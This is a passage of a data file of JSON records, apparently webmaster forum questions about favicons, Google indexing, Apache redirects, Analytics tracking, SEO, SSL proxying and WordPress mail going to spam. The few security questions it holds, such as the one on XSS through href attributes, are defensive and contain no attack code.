me? Thanks in advance..."}
{"id":"39337","title":"Favicon will not show up... Searched other questions, no answers","text":"My favicon will not show up. I have searched the site for similar questions and I do not see where I am going wrong. Here is my tag: <head> <link rel=\"shortcut icon\" href=\"\/favicon.ico\" type=\"image\/x-icon\" \/> Do you see anything wrong here? I have my favicon.ico in the correct directory. I am testing this locally in incognito via google chrome."}
{"id":"39336","title":"Where does the Google `site:` operator for site-specific searches get its information?","text":"I have read in many places that one should use Google Webmaster preferably to the `site:` search operator. However, I would like to know where the `site:` operator gets its information from? Here is my situation. I have imported a new blog on Blogger and tried to have the pages added to the index. The problem is that Google Webmaster's index status is updated once per week --too slow for me. Right now, it says no pages have been added to the index yet. But, when I search `site:trovare-parole.blogspot.com`, it returns plenty of links. So does it mean Google has indexed some of my pages yet (and the index status is late) or not? How should I interpret the result of a site search?"}
{"id":"56697","title":"Configuring http:\/\/mail.example.com","text":"Can I redirect the URL `http:\/\/mail.example.com` into webmail similar to `http:\/\/webmail.example.com`?"}
{"id":"8360","title":"What Software Does Wikibooks Use?","text":"I know they use MediaWiki but do they use any specific extensions that allow them to have hierarchies of pages\/etc?"}
{"id":"34772","title":"getting the user back where they came from with mod_form_auth","text":"Using the mod_form_auth module in Apache HTTPD 2.4.3, I am looking for a way to have the user redirected to their original desired target after completing a login. That is, if I have a <Location \/protected> ... form auth config here <\/Location> the user might browse to \/protected\/a, or to protected\/b. In either case, they will be presented with the login form. However, as far as I can see, I must specific a single 'success' URL. I'm wondering if I'm missing some Apache feature that would allow me to, for example, cause the redirect to the login form go to something like: https:\/\/login.html?origTarget=\/protected\/a via some syntax on the `AuthForLoginRequiredLocation` statement?"}
{"id":"56694","title":"Compare 3 or more date ranges in Google Analytics","text":"Is it possible to compare 3 or more date ranges in Google Analytics? It's obvious how to compare 2 ranges. It would be great to see additional ranges - seeing the data of 6 months overlaid - seeing 3 years compared on the same chart etc."}
{"id":"34777","title":"Choosing a subject to create a site for","text":"For 6 years I'm working as web developer and I would like to finally create my own site. I thought I have everything needed: programming and administration skills, found a good designer, own servers and understanding how to operate site. But I've missed very important (or the most important) point: how do I find a subject for my site? My hobby and my work are the same: IT, but I don't want to create just another tech blog or news aggregator, I want something different. First I thought things like Google Trends or Google top 1000 could help, but I've got lost in thousands of options I can't see them all (I actually can, but it'll take at least a couple of month). So my question is: how did you start? Where did you get the idea?"}
{"id":"61365","title":"Is Google App Engine secure enough for financial applications?","text":"I am wondering whether Google App Engine is secure enough for financial applications? This would involve storing sensitive information, access to users' funds, etc. Are there any applications like that already running on App Engine?"}
{"id":"61367","title":"How do I get Google to index two URLs that differ only in the value of a URL parameter?","text":"I have a site which has variable ID's which bring up different content For example: * `http:\/\/example.com\/university.php?id=3` * `http:\/\/example.com\/university.php?id=4` Technically these are two different pages which ideally I would like google to index separately (and rank for terms according to the University) What is the best way to go about doing this?"}
{"id":"61363","title":"Port numbers appended to anchor tags","text":"I've built a static site. Locally, when I serve the content with `python -m SimpleHTTPServer` everything behaves normally, but when I copy the HTML onto the server and browse the site at the server's URL, some links will have a port number appended to the domain. For example: `url.com:84\/path` where the correct path is `url.com\/path`. The port number is usually different, always between 81-85. It is an Apache server. I'm not experienced with web server configuration, and I'm not the admin of the server. Let me know if there is more information that can help solve my problem. ~> cat \/etc\/*release* SuSE SLES-8 (i386) VERSION = 8.1 UnitedLinux 1.0 (i586) VERSION = 1.0 LSB_VERSION=\"1.2\" DISTRIB_ID=\"UnitedLinux\" DISTRIB_RELEASE=\"1.0\" DISTRIB_DESCRIPTION=\"UnitedLinux 1.0 (i586)\""}
{"id":"68375","title":"Apache HTTPS ProxyPass certificate location","text":"I'm trying to set up an Apache server that uses ProxyPass to pass HTTPS requests on to another server. Let's call the proxy server ALPHA and the target server BETA. ALPHA does not run HTTPS, but BETA does. I first tried using this virtual host specification on ALPHA: <VirtualHost *:443> ServerName mysite.com ProxyPass \/ https:\/\/192.168.1.105\/ # BETA's IP address ProxyPassReverse \/ https:\/\/192.168.1.105\/ # BETA's IP address ProxyPreserveHost On ProxyTimeout 600 SSLProxyEngine On RequestHeader set Front-End-Https \"On\" CacheDisable * <\/VirtualHost> But when I tried this, Apache complained saying, \"[error] Server should be SSL-aware but has no certificate configured [Hint: SSLCertificateFile]\". I had to copy the SSL certificate from BETA to ALPHA and add these lines to the virtual host specification on ALPHA: SSLEngine on SSLCertificateKeyFile \/usr\/local\/ssl\/private\/BETA_private.key SSLCertificateFile \/usr\/local\/ssl\/crt\/BETA_public.crt SSLCertificateChainFile \/usr\/local\/ssl\/crt\/BETA_intermediate.crt Now the system works. But I have a feeling that I have done something wrong or unnecessary. I have the web site's private key and certificate lying on both ALPHA and BETA. Is that necessary? Should I have done it differently?"}
{"id":"67906","title":"unexpected url parameters added by 3rd party browsers","text":"I have a static html website. And I am receiving many incoming visitor, which are adding parameters to url \"?from=singlemessage&isappinstalled=0\" \"?from=timeline&isappinstalled=0\" is it wechat or another website that automatically add these ? Or is this a bug ?"}
{"id":"67904","title":"Cookie security risk between primary domain and a CMS on a subdomain","text":"Without making the question too general, I am looking to discover the specific risks associated with cookies between my primary domain hosting HTML content only, to a subdomain that is hosting Hubspot, a Web-based CMS. Consider I have the following sites: \/\/Main site - uses HTML only, no server side languages for security example.com \/\/Uses Hubspot and has Hubspot associated cookies, PHP etc. downloads.example.com \/\/Our central order processing and management system (the key asset) - uses various server-side technologies e.g. Java internal.example.com What I'm looking to discover is if we need to host the Hubspot site elsewhere, or if it safe to host it at downloads.example.com, without creating security implications for internal.example.com. Specifically, the kind of risks I have been looking at are: * XSS attack on downloads.example.com could create a malicious cookie, shared with internal.example.com * Download files on downloads.example.com could be altered by a hacker to contain damaging viruses and programs. So the question is, does the Hubspot site at downloads.example.com, create vulnerabilities for the other sites (even all servers are hosted separately)?"}
{"id":"53498","title":"Friendly URL change and Google Webmaster Tools warnings","text":"I just migrated (with `mod rewrite`) from non-friendly URLs to a bit-more- friendly URLs: from `site.com\/post.php?id=5` to `site.com\/post\/the-title-of- the-post\/5`. This is my PHP redirect from old to new URL: if(empty($_GET['friendly']) && empty($_POST)){ include('includes\/basedatos.php'); include('includes\/funciones.php'); $id = (int) mysql_real_escape_string($_GET['id']); $post = mysql_fetch_array(mysql_query(\"SELECT id, titulo FROM post WHERE id = $id\")); $titulo = $post['titulo']; if($titulo == ''){ header('HTTP\/1.0 404 Not Found'); } $ruta = '\/post\/'.urls_amigables(trim($titulo)).'\/'.$id; header ('HTTP\/1.1 301 Moved Permanently'); \/* please not this *\/ header(\"Location: $ruta\"); exit(); } The problem here is that even I set the headers to 301 Google is warning me of duplicated titles (and descriptions) and shows me both (old and new) URLs. Question: is this a temporary stage? or I am not moving properly the my post URLs?"}
{"id":"44297","title":"SSL on site which asks API via HTTPS","text":"For example I have a site `site.com`. It has its own http json api: `api.site.com`. API has authorisation and it runs under `https`. Now, I need to make visualization of some functionality of json api - so I need to make a profile section on `site.com`: Authorisation form, and user profile section with actions. All actions will be done via cURL requests to `https:\/\/api.site.com`. Have I use SSL on `site.com` too?"}
{"id":"60809","title":"G+ author image for blog posts not showing in search results, but does in rich snippet tool","text":"I have registered my Google authorship e-mail, and my blog posts are on the same domain. Why is my G+ profile image not appearing in SERPs? I have e-mail registered and verified for Google authorship. All my posts have the same problem, and no profile image of mine appears. Though, when testing it in the rich snippet tool, the profile image DOES appear:Why could this be?"}
{"id":"28766","title":"Apache Server-Side Includes Refuse to Work (Tried everything in the docs but still no joy)","text":"Trying to get apache server-side includes to work. Really simple - just want to include a footer on each page. Apache 2.2: # .\/httpd -v Server version: Apache\/2.2.21 (Unix) Server built: Dec 4 2011 18:24:53 Cpanel::Easy::Apache v3.7.2 rev9999 mod_include is compiled in: # \/usr\/local\/apache\/bin\/httpd -l | grep mod_include mod_include.c And it's in httpd.conf: # grep shtml httpd.conf AddType text\/html .shtml DirectoryIndex index.html.var index.htm index.html index.shtml index.xhtml index.wml index.perl index.pl index.plx index.ppl index.cgi index.jsp index.js index.jp index.php4 index.php3 index.php index.phtml default.htm default.html home.htm index.php5 Default.html Default.htm home.html AddHandler server-parsed .shtml AddType text\/html .shtml In the web directory I created a .htaccess with Options +Includes And then in the document, I have: <h1>next should be the include<\/h1> <!--#include virtual=\"\/footer.html\" --> <h1>include done<\/h1> And I see nothing in between those headers. Tried file=, also with\/without absolute path. Is there something else I'm missing? I see the same thing on another unrelated server (more or less stock CentOS 6), so I suspect the problem is between keyboard and chair..."}
{"id":"29544","title":"How do I create (or remove) another FTP account for a client in Plesk?","text":"I've currently got a reseller account with my hosting provider that I use for my clients (for their websites). And I need to add\/remove a FTP user, but for the life of me I can't work out how! Am sure I've looked under every possible option, TWICE! Based on the help document it appears to be v10.4 of Plesk if that helps."}
{"id":"24439","title":"subdomain to subdomain forward with masking","text":"I want to forward with mask from one server to another server. In Server One: www.abc.com test.abc.com live.abc.com In Server Two: http:\/\/ipaddress.com\/folder1 http:\/\/ipaddress.com\/folder2 test.abc.com --> http:\/\/ipaddress.com\/folder1 live.abc.com --> http:\/\/ipaddress.com\/folder2 In both servers what i have to do the accomplish this task."}
{"id":"3183","title":"drupal site speed increase","text":"I'm using a drupal site with a theme from rockettheme. The users are member users. The problem is for unknown reason the site is very slow. Takes around 20 seconds to open the page. I have tried switching the VPS, but no performance gain. I'm not using many modules, that would bog down the site. What possible solutions should I look at to increase the site's speed to bring it to open in normal time. > Executed 120 queries in 113.52 milliseconds. Queries taking longer than 5 ms > and queries executed more than once, are highlighted. Page execution time > was 2534.15 ms. > > Executed 87 queries in 24.6 milliseconds. Queries taking longer than 5 ms > and queries executed more than once, are highlighted. Page execution time > was 2609.59 ms. > > Executed 123 queries in 41.05 milliseconds. Queries taking longer than 5 ms > and queries executed more than once, are highlighted. Page execution time > was 1282.27 ms. I don't guess these are normal."}
{"id":"24430","title":"How do I block site to specific users or IP?","text":"I have been running a website with WordPress blog since few time. I have been receiving email reporting that few specific address has been posting un-related comments in my website. I am receiving like one email per minute from same IP address. So since the IP address is posting un-related comments I would like to block it. But don't know how? Its something like: `178.238.232.234`, `234.232.238.178.static.giga-dns.com`"}
{"id":"43049","title":"Google Analytics cookie across SagePay checkout","text":"We use SagePay's Server integration for our online payments. We use Google Analytics to track activity on our website and Google Ecommerce tracking to log transactions. In Google Analytics, under the Ecommerce view, it shows direct\/none for source\/medium, as the 1st party cookie is lost when visiting the external SagePay checkout pages before the customer is redirected to my confirmation page which tracks the transaction. In all the answers I have viewed when searching for a solution, the suggestion is to alter the tracking code to read ` _gaq.push(['_setDomainName', 'none']); _gaq.push(['_setAllowLinker', true]); ` but this needs to be implemented on all pages, including 3rd party domains (SagePay). As SagePay don't allow javascript in their template customisation, what can I do? Is there another way? Edit: I just found this code: ` var pageTracker = _gat._getTracker('UA-XXXXX-X'); pageTracker._setCampNameKey('ga_campaign'); \/\/ name pageTracker._setCampMediumKey('ga_medium'); \/\/ medium pageTracker._setCampSourceKey('ga_source'); \/\/ source pageTracker._setCampNOKey('ga_nooverride'); \/\/ don't override pageTracker._trackPageview(); ` Could I store pre-checkout values for source\/campaign\/medium to a cookie and the retrieve it post-checkout into the code above, or would this start a new tracking session?"}
{"id":"24434","title":"What framework for text rating site?","text":"I want to start a \"rate my\"-style site. The rated objects are mostly texts. I want it to be rather simple. Features I need: * object rating (thumb up, thumb down) * object comments * object tags * related object presentation based on tags * user authentication and management * private message system * sanity checks for text inputs (i.e. prevention of code injections) * cache * open source * runs on GNU\/Linux I would gladly take something that is tailored for my scenario but a generic framework would be fine too. I simply don't want to write stuff like user authentication that is been written a million times and risking security flaws. Programming language is irrelevant but python\/php preferred. EDIT: I chose Django."}
{"id":"22102","title":"What is a good default font family for any IE8\/9, Chrome & Firefox?","text":"I have users complaining that fonts are not clear on some browseres (especially displaying data in grids...I'm using Trebuchet MS per default of asp.netmvc3 css site styles) Q: What is a good overall default font family size that displays with good resolution (easy on the eyes, easy to read, etc,)? Any recommendations?"}
{"id":"65679","title":"Problem getting rewrite from subdomain to directory to work","text":"I want to redirect `demo.example.com` to `example.com\/my-demo`. This is my rewrite rule, but I'm not getting it to work on my production server: RewriteCond %{HTTP_HOST} ^demo\\.example\\.com RewriteRule ^(.*)$ \/my-demo\/$1 [R=301,L]"}
{"id":"22455","title":"is it possible to get browser marketshare by OS?","text":"For development purposes, I'd like to get a rough estimate of the distribution of browser usage share, but everything I've been able to find just states overall market share. Is it possible to get browser share by OS?"}
{"id":"61505","title":"How to keep track of how many hits on a redirect page with Google Analytics","text":"I've written a simple redirect script in PHP that takes a resource ID and then redirects the user to the appropriate page. The main motivation was if all of my links were to break because the service provider decided to disable them for whatever reason, I can update all links easily since they're in a single location. Now that I actually have a redirect page up, I'm interested in knowing which resources are most popular. I have looked at Google Analytics and it seems promising, but I am not sure how to set it up to capture what I want. My redirect page takes a set of parameters as such http:\/\/mySite.com\/redirect.php?type=RESOURCE_TYPE&id=RES_ID I would like to keep track of each parameter (`type`, `id`) and the values. How can I accomplish this? Will there be a problem if the page does not load up completely before my redirect script kicks in and sends them off?"}
{"id":"30266","title":"Redirect everything from old domain to new domain","text":"I need to (permanent) redirect all of the following: 1. `www.domain.com` 2. `www.domain.com\/folder` 3. `sub.domain.com` 4. `sub.domain.com\/folder` Basically all URLS that are reachable without being intended to: `www.newdomain.com`, I want to do this within Apache and using the mod_rewrite module via the htaccess file."}
{"id":"61188","title":"Redirecting subdirectories to new domain","text":"I have a WordPress blog under, let's say, `example.com`. It has pages under the following structure: * `example.com\/2013\/some-article` * `example.com\/2014\/some-other-article` Soon this domain will expire and I want to get rid of it and redirect traffic to `blog.example2.com`. I tried to do it in Apache by using `Redirect 301 \/ http:\/\/blog.example2.com` in `.htaccess` and later by changing DNS records to redirect to new domain. When I enter my old website directly, by web browser at `example.com\/2013\/some-article` I am redirected to `blog.example2.com\/2013\/some-article`. When I access website by Google, which should point to `example.com\/2013\/some- article` I am redirected to `blog.example2.com2013\/some-article` (one slash is missing). **Questions** : 1. How can I redirect whole traffic to old domain, including traffic to sub-directories to root domain at `blog.example2.com` 2. How can I force Google to create proper URLs so traffic can be redirected to root domain at `blog.example2.com` 3. Is there any way to make Google display root domain of new website in search results in place of every result from old website?"}
{"id":"65677","title":"Filtering out the bounce rate to a specific domain?","text":"I have a site that's spread across two domains. Let's say the two sites are `example.com` and `exampledatabase.com`. Right now, when someone leaves `example.com` to go to `exampledatabase.com`, it's counted as a bounce. Is the correct way to remedy this to create a filter and `exclude`->`traffic to hostname`->`exampledatabase.com`? I don't want this solution to cause unanticipated manipulation of the data within the view."}
{"id":"35791","title":"Changing the content of a website completely, and SEO","text":"I have a blog running since like 10 months, which have 300 organic unique visitors daily, and now I will establish an eCommerce website on that domain. That means, I will delete all the content related to the blog. And publish new pages related to eCommerce using a different script. Content of the blog and the topic of eCommerce are also quite different. How should i do this change in terms of SEO? What should I expect in terms of Search Rankings, organic hit?"}
{"id":"26345","title":"Is permanent redirect of subdomain a bad idea for SEO?","text":"I have a client that wants different subdomains as 'marketing URLs' that point (301 redirect) at directories, so: shop.mysite.com -> mysite.com\/shop artist1.mysite.com -> mysite.com\/artist1 artist2.mysite.com -> mysite.com\/artist2 They feel that subdomain-type URLs are more prestigious and give an impression of a bigger organisation. I'd like some opinion on pros\/cons for doing this from an SEO point of view."}
{"id":"26348","title":"Can I charge customers at random through my online credit card processor?","text":"I'm developing a site and have never used CC processing before. On my site customers are submitting products to companies for review. I charge them different amounts depending on how many products they submit per month. Can I set it up where I charge them at the end of the month manually depending on how many products they submit? There is no way for me to know when they submit the first product how many more they will submit or how much to charge them so I need to wait until the month is over and then at that point it is impossible to get them sign off on the chage, so my question is can I do it manually and they just get a reciept? Or how would you handle this scenario? Thanks."}
{"id":"13708","title":"What is the easiest and fastest way to get statistics of a webservice response time?","text":"I implemented a webservice with node.js and want to test its response time. I don't just want to do the test with one connection attempt, but I want statistics about multiple attempts, telling me the average response time and maybe even things like standard deviation and min\/max. What is a good tool or webservice to do this?"}
{"id":"11394","title":"I want to host the same website content on different domains","text":"I need to find out how I can host different domains which will have the same content. I want users to be able to choose their country and based on that decide which domain to load. How do I do this without having to duplicate content? thanks"}
{"id":"11392","title":"Is this safe? <a href=http:\/\/javascript:...>","text":"I wonder if `href` and `src` attributes on `<a>` and `<img>` tags are always safe w.r.t. XSS attacks, if they start with `http:\/\/` or `https:\/\/`. For example, is it possible to append `javascript: ...` to the `href` and `src` attribute in some manner, to execute code? **Disregarding** whether or not the destination page is e.g. a pishing site, or the `<img src=...>` triggers a terribly troublesome HTTP GET request. Background: I'm processing text with markdown, and then I sanitize the resulting HTML (using Google Caja's JsHtmlSanitizer). Some sample code in Google Caja assumes all `href`s and `src`s that start with `http:\/\/` or `https:\/\/` are safe -- I wonder if it's safe to use that sample code. Kind regards, Kaj-Magnus"}
{"id":"49821","title":"Would using the same name, logo, date, and menu on each page be considered duplicate content?","text":"Suppose there is a website for my company named \"Seven Season\" which manufactures T-Shirts. In the website for this company, I have the following pages: Home About us Our Products Disclaimer Contact Us All pages have unique content. But following content is the same in each link: 1. Logo and name of the company (i.e., \"Seven Season\") 2. Today's date 3. Front image slide show 4. Scrolled company slogan 5. Navigation menu having links of: Home, About us, Our Products, Disclaimer, Contact Us I want to confirm that: 1. Because of above 5 content items which are the same on each page, would I be penalized for duplicate content? 2. Are all these repeated items treated as duplicate content by search engines? 3. If these are considered to be duplicate content, then if I mention the company name as \"Seven Season\" in my \"Home\" page, then \"Six Season\" in my \"About Us\" page, and then \"Five Season\" in my \"Product\" page...is this alternative wise according to SEO? 4. To provide unique content, should I add different menu options in different pages? 5. Should I mention different dates as Today's date in each page?"}
{"id":"4013","title":"Can Shopp or WP ecommerce create something as extensive as these sites? Other recommended solutions?","text":"The project that I'm working on will require a catalog as extensive as these sites: * http:\/\/www.ems.com * http:\/\/www.patagonia.com\/us\/home but with odd size\/shaped equipment such as: * http:\/\/www.spikevolleyball.com\/ So basically I need an ecommerce package to handle these number of products and variations and also odd issues such as shipping of non-standard sized equipment. Can an ecommerce package for Wordpress handle this or I need to go to a purely ecommerce package? One of the requirements for the client is to make the online store not just about the products but about the history and development of the sport. That's one of the reason why I'm still trying to find a Wordpress solution right now, because Wordpress allows other type of content besides just purely products. I've cross posted at the Wordpress stackexchange."}
{"id":"43242","title":"Google Analytics Filters not removing traffic from other domain","text":"We have a frustrating problem where someone copied our site code including our `Google Analytics` code. So we are getting stats logged from their site which is very frustrating. I have setup 4 Filters, each trying to disallow any traffic from this other website, but still their traffic is being shown, including on the Real Time section. Do Filters even work to exclude traffic? Here is how I have it setup:   Neither of these seem to help at all."}
{"id":"19432","title":"What is this technique called and why it is done?","text":"What is this technique called and why it is done? I typed to search for \"cheap 2b memory card\" in google with quotes. I find an alibaba link matching to my title, I opened it and saw the same title on their search bar. http:\/\/www.alibaba.com\/showroom\/cheapest-2gb-memory-card.html"}
{"id":"19433","title":"Google alerts - can't tell where my site is mentioned","text":"I recently signed up for google alerts. I get emails whenever my site is mentioned anywhere on the web. The problem is that I can't figure out where my site is mentioned from the emails they send me. Here is how their emails look like: Web 1 new result for comehike.com Hiking Sticks and Poles - Come Hike Hiking sticks and poles help you prevent injury to your joints and take the stress of the joints while hiking. They can also help you prop yourself and protect you ... hiking.comehike.com\/outdoors\/hiking_sticks.php But how do I tell who mentioned it? Thanks!"}
{"id":"51094","title":"300, 302, 303 or 307 redirect for international site?","text":"A company website offers the same products and pages (more or less) across different countries. It's a mess; they use a **mix of subdirectories, subdomains and ccTLDs** for international sites: * `us.example.com\/product.html` * `example.com\/uk-EN\/product.html` * `example.com\/de-DE\/product.html` * `example.com\/nl-EN\/product.html` * `example.ca\/product.html` They have decided to use IP-sniffing to redirect users to the right site. Which 3XX redirect protocol is the most appropriate? > * 300 multiple choices (e.g. offer different languages) > * 302 found (originally temporary redirect, but now commonly used to > specify redirection for unspecified reason) > * 303 see other (e.g. for results of cgi-scripts) > * 307 temporary redirect > I am leaning towards 300 since it makes sense, but Googlebot is in the US, so it will be redirected away from this international content in favor of the US domain? Also, implementing `hreflang` is an obvious addition to any of this, but without it, which would be most suited?"}
{"id":"30015","title":"Website forwarding - actions do not seem to work","text":"I have the following website up and running: www.posti.sh The website is actually on www.myskoob.com\/postish\/, but I use domain forwarding so that when the user types in www.posti.sh it stays that way and does not change to www.myskoob.com\/postish\/. You can try out the website. It is generally about posting something and uses jQuery ajax to let the user perform posting. Here's the problem: While visiting www.myskoob.com\/postish\/, that works fine - all ajax calls seem to work. However, when I go to www.posti.sh, it does not work - I cannot understand why. There are two ways of forwarding - one is frame forwarding (which then works) and the other is URL-hiding, which is a much cleaner way because that way the URL actually changes with different pages that are opened. Anybody knows a reason why URL-hiding does not work? Thank you! Dennis"}
{"id":"3986","title":"Company blog, host internally or not?","text":"If I have a website for a company selling product(s). Is there any difference in terms of rewards\/penalties from having a company blog hosted interally (for example `mycompany.com\/blog`) or going externally to Blogpost, WordPress, etc. (`mycompany.blogspot.com` for example)."}
{"id":"3987","title":"RSS in a Wordpress","text":"is there any way to show an image for RSS feess in my wordpress page... it os because currently defaul wordpress RSS feeds will only show a text of other feeds from other site..how can i make my site show a thumb image of rss feeds of th other sites..below are example of the rss feeds on my site. plizzz help me.i really needs a help from all of u guys.... "}
{"id":"3983","title":"google page scan and backlinks","text":"As i seen using google webmaster tools, google was cahing near about all links present on a webpage of my site. I just want to be ensure, if there is an external link present on my webpage outside the main contents (like sidebar, comments, post footer) then would it be counted as backlink to that side. For example, if i let a plugin to display \"credit to\" or \"powered by\" etc link then would it be counted as backlink?"}
{"id":"46830","title":"Domain registration public information, measures domain authority in SEO?","text":"I have seen on internet in various places talking about this and they says this information do have impact on SEO, specially in the _domain authority_ section. Is it so? * If so, Is there any proper way to fill this up? Like, I am running a site as my blog, what should the the _organization_ field? * If I own multiple domains, will having same contact information on all of them help gain domain authority? * As a owner of multiple sites, should organization name be same or different? Considering I don't own a company yet? * Any other suggestion about this?"}
{"id":"58714","title":"Single page not appearing in Google Search","text":"## Description I have a static franchise website which has various sub pages each dedicated to an individual franchisee. For each franchisee the page, the only thing slightly similar between all of them are the page titles, they follow this structure: <title> Welcome to THE_COMPANY - PRODUCT_DESCRIPTION Services, THE_LOCATION <\/title> **THE_COMPANY** and **PRODUCT_DESCRIPTION** are the same across all franchisees, however **THE_LOCATION** changes depeding on where they are located in the UK. Each franchisee page has the following `<meta \/>` tags: <meta name=\"DC.creator\" content=\"user\"\/> <meta name=\"DC.format\" content=\"text\/html\"\/> <meta name=\"DC.language\" content=\"en\"\/> <meta name=\"DC.date.modified\" content=\"2014-01-23T11:22:31+00:00\"\/> <meta name=\"DC.date.created\" content=\"2014-01-23T11:22:09+00:00\"\/> <meta name=\"DC.type\" content=\"Page\"\/> <meta name=\"DC.distribution\" content=\"Global\"\/> <meta name=\"robots\" content=\"ALL\"\/> <meta name=\"distribution\" content=\"Global\"\/> The main content on each franchisee page is completely different. ## The Problem There is one particular franchisee page, located in _Area A_.. Which will **not** appear in Google Search results at all. However every single other franchisee (if you Google Search for \" **THE_COMPANY** , **THE_LOCATION** \" is number 1). And if I do the same search on Bing, Yahoo or DuckDuckGo, the **Area A** franchisee is the first result on all of them. Has Google for some reason black listed one page on the site? ## What I Have Tried * Ensuring the page is referenced in my **sitemap.xml** file * 'Fetching as Google Bot' the link www.the_company.co.uk\/areaa * When that came back as **OK** I would submit to index * Resubmitting the **sitemap.xml** file in Webmaster Tools * Linking to the **Area A** page from another pages content * For this I also waited about 3 weeks before checking again to give Google time to re-index * Making a change to the page content and waiting another 2 \/ 3 weeks * Removing the page completely and recreating it with an alternative URL The closest thing I have found to this issue is this StackOverflow question but this particular franchisee has existed for almost a year, it used to appear on Google searches however no longer does. I'm guessing the Panda update wasn't too happy with something on the page, but it hasn't effected anything else on the site and I am at a loss for things to try. I would greatly appreciate any information or thoughts as to what could have caused this Thanks. ## Update In line with Daniel Fukudas answer below, I have followed some of his steps but everything seems to check out alright: **HTTP Headers** HTTP\/1.1 200 OK => Date => Tue, 25 Feb 2014 16:31:29 GMT Server => Zope\/(2.12.16, python 2.6.6, linux2) ZServer\/1.1 Content-Length => 40078 Expires => Sat, 01 Jan 2000 00:00:00 GMT Content-Type => text\/html;charset=utf-8 Content-Language => en Vary => Accept-Encoding Connection => close **Robots`<meta \/>` tag**: <meta name=\"robots\" content=\"ALL\"\/> I have updated this `<meta \/>` tag to read `content=\"INDEX\"` instead now. **robots.txt** : User-agent: * Disallow: User-Agent: Googlebot Disallow: \/*sendto_form$ Disallow: \/*folder_factories$ **Using site:THE_COMPANY.co.uk** : Searching for 'AREA A site:THE_COMPANY.co.uk' does not return the page, but regardless of that searching just for **site:THE_COMPANY.co.uk** will not necessarily return every indexed page, or so I understand... ## Update It appears Google likes to drop pages every now and then from the index, despite my steps above, I left the site alone and the page appeared back in the SERPs by itself."}
{"id":"65456","title":"phpBB SEO memberlist pagination error caused by Ultimate SEO URL plugin","text":"I have recently installed following mods on my PhpBB board (version 3.0.12): * Zero Dupe * Ultimate SEO URL * Related Links * Gym Sitemap The problem is that the pagination for `memberlist.php` is broken now. Instead of giving me a link that looks like `forumRoot\/memberlist.php?start=25` for page 2; I get `forumRoot\/?start=25`. I have tried looking on an official forum but it did not help me at all since even mods of the plugin sometimes unsure how to deal with it."}
{"id":"59398","title":"Google Webmaster tools and geotargeting at TLD and Folder levels","text":"Hoping you can help us with this question: We are one Canada’s leading websites with a PR8. For privacy's sake, let's call our main URL www.OurMainWebsite.com As we are expanding globally, we are planning to build a web site to service the US market but want to keep the domain above as is from branding perspective. Questions: * Can we keep: www.OurMainWebsite.com as the main Canada site and create a www.OurMainWebsite.com\/US as the US site? * Can those 2 URL's be geotargetted as per above, and wouldn't the fact that US is a subfolder of the main TLD through things off? can I target a TLD to one country and a subfolder under the TLD to abother? Thanks in advance for your help."}
{"id":"58429","title":"Is site directory with \"dofollow\" links still effective?","text":"I am planning to create site directory, but I learned that Google consider site directories as low quality. They emphasized that without any editorial effort to maintain a web directory and without continues effort to update them will bound to fail. I clearly understand the Google algo updates. I need your analysis if creating a more modern way for site directory can still be possible now today. What I'm planning to do: * Review sites that are not spammy before adding to directory * Put a \"dofollow\" link without anchor text * Make sure that all contents are unique and meaningful to visitors * No keyword stuffing * No misleading content If I do these does Google consider my site as a high quality one even though I pass PageRank? I am planning to place it in the subdomain, does it affect the rank on my main domain or just on the subdomain itself?"}
{"id":"23854","title":"Is there any badges like envato badges available readymade? Free or commercial?","text":"I really like envato's badges. I would like to implement such badge system in my website.  Is there any readymade free or commercial badge pack available? Thanks"}
{"id":"23853","title":"All Wordpress PHP Mail stuff being sent to spam","text":"Every mail sent with the PHP Mail() is getting sent straight to spam (all providers e.g. gmail, yahoo, hotmail) My IP is not blacklisted. Here is an example of an email header that got sent to spam: Delivered-To: jordashtalon@gmail.com Received: by 10.229.91.149 with SMTP id n21cs189229qcm; Mon, 26 Dec 2011 17:43:12 -0800 (PST) Received: by 10.43.117.194 with SMTP id fn2mr27050431icc.53.1324950190711; Mon, 26 Dec 2011 17:43:10 -0800 (PST) Return-Path: <noreply@avatarthelastairbenderonline.com> Received: from host.avatarthelastairbenderonline.com (host.avatarthelastairbenderonline.com. [173.199.171.80]) by mx.google.com with ESMTPS id ut2si17526443igc.26.2011.12.26.17.43.10 (version=TLSv1\/SSLv3 cipher=OTHER); Mon, 26 Dec 2011 17:43:10 -0800 (PST) Received-SPF: pass (google.com: best guess record for domain of noreply@avatarthelastairbenderonline.com designates 173.199.171.80 as permitted sender) client-ip=173.199.171.80; DomainKey-Status: bad format Authentication-Results: mx.google.com; spf=pass (google.com: best guess record for domain of noreply@avatarthelastairbenderonline.com designates 173.199.171.80 as permitted sender) smtp.mail=noreply@avatarthelastairbenderonline.com; domainkeys=neutral (bad format) header.From=noreply@avatarthelastairbenderonline.com DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=default; d=avatarthelastairbenderonline.com; h=Received:Date:To:From:Subject:Message-ID:X-Priority:X-Mailer:MIME-Version:Content-Transfer-Encoding:Content-Type:X-Source:X-Source-Args:X-Source-Dir; b=p8We0ql3qPoF6Jk79NICVgnMedJR6xGsnBQPp0q\/0h+NCY2YdtUh7ouRKNEcpAhXNr+OKzs2XWd37fn86sLcrC0tWUGXU0JUeyktyGYpNOoTeI9ImFlrD3Vt1VDQ+JXr; Received: from host.avatarthelastairbenderonline.com ([173.199.171.80] helo=avatarthelastairbenderonline.com) by host.avatarthelastairbenderonline.com with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.69) (envelope-from <noreply@avatarthelastairbenderonline.com>) id 1RfM4K-0001Yg-Bz for jordashtalon@gmail.com; Mon, 26 Dec 2011 19:43:08 -0600 Date: Tue, 27 Dec 2011 01:43:08 +0000 To: jordashtalon@gmail.com From: Avatar The Last Airbender <noreply@avatarthelastairbenderonline.com> Subject: Test message from your WordPress blog Message-ID: <3bfb7466ba93540ac86be00e3792e30b@avatarthelastairbenderonline.com> X-Priority: 3 X-Mailer: PHPMailer 5.1 (phpmailer.sourceforge.net) MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text\/plain; charset=\"UTF-8\" X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - host.avatarthelastairbenderonline.com X-AntiAbuse: Original Domain - gmail.com X-AntiAbuse: Originator\/Caller UID\/GID - [47 12] \/ [47 12] X-AntiAbuse: Sender Address Domain - avatarthelastairbenderonline.com X-Source: X-Source-Args: X-Source-Dir: Hi, this is the Configure SMTP plugin e-mailing you a test message from your WordPress blog. This message was sent with this time-stamp: 2011-12-26 19:43:08 Only think I can see is it says that the DomainKey-status says bad 